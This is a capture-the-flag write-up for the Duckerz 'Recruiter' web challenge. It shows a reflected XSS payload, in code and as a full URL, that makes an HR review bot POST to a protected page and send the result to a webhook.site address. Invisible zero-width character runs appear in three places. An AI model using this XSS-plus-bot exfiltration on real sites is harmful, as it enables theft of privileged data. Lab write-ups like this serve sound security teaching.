Recruiter

Platform: duckerz | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-01-21 | Status: Solved Techniques: admin_bot_pattern, csrf_via_xss, reflected_xss, webhook_exfiltration

Summary

Task: Resume submission site with reflected XSS and Telegram bot that visits submitted links. Solution: Exploit XSS to make HR bot fetch protected endpoint and exfiltrate flag via webhook.

Recruiter - Duckerz CTF

Description

"Я хочу попасть на работу любой ценой!"

URL: http://tasks.duckerz.ru:30057

Analysis

1. Reconnaissance

The site is a resume submission page. On the main page, a send parameter was found whose value is displayed without escaping - a classic Reflected XSS.

2. Discovered Components

• Telegram bot: @r3cru173r_bot - accepts links for "HR review"
• Protected endpoint: /profile.php - returns "Access denied! HR only"
• XSS entry point: send parameter on the main page ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

3. Attack Model

Classic "Admin Bot" pattern:

1. The bot (HR) visits links sent via Telegram
2. The bot has privileges to access /profile.php
3. Through XSS, we can make the bot execute arbitrary JavaScript
4. JavaScript makes a request to the protected endpoint and sends the result to the attacker

Solution

Step 1: Prepare webhook

Create an endpoint on webhook.site to receive data.

Step 2: Create XSS payload

 javascript read-only • copy allowed Copy
<script>
fetch("/profile.php?apply=test", {method: "POST"})
  .then(r => r.text())
  .then(t => new Image().src = "https://webhook.site/YOUR-UUID?d=" + encodeURIComponent(t))
</script>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Form the URL

http://tasks.duckerz.ru:30057/?send=<script>fetch("/profile.php?apply=test",{method:"POST"}).then(r=>r.text()).then(t=>new Image().src="https://webhook.site/YOUR-UUID?d="+encodeURIComponent(t))</script>

Step 4: Send to bot

Send the URL to Telegram bot @r3cru173r_bot.

Step 5: Get the flag

The bot visits the link, XSS executes in the HR session context, POST request to /profile.php returns a page with the flag in div.error, data is sent to webhook.

Notes

• The flag hints at the technique: XS5 = XSS, InFo_PhP = info.php/profile.php
• POST method was required to get the flag (GET didn't work)
• Classic CTF pattern: XSS + Bot + CSRF = profit ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍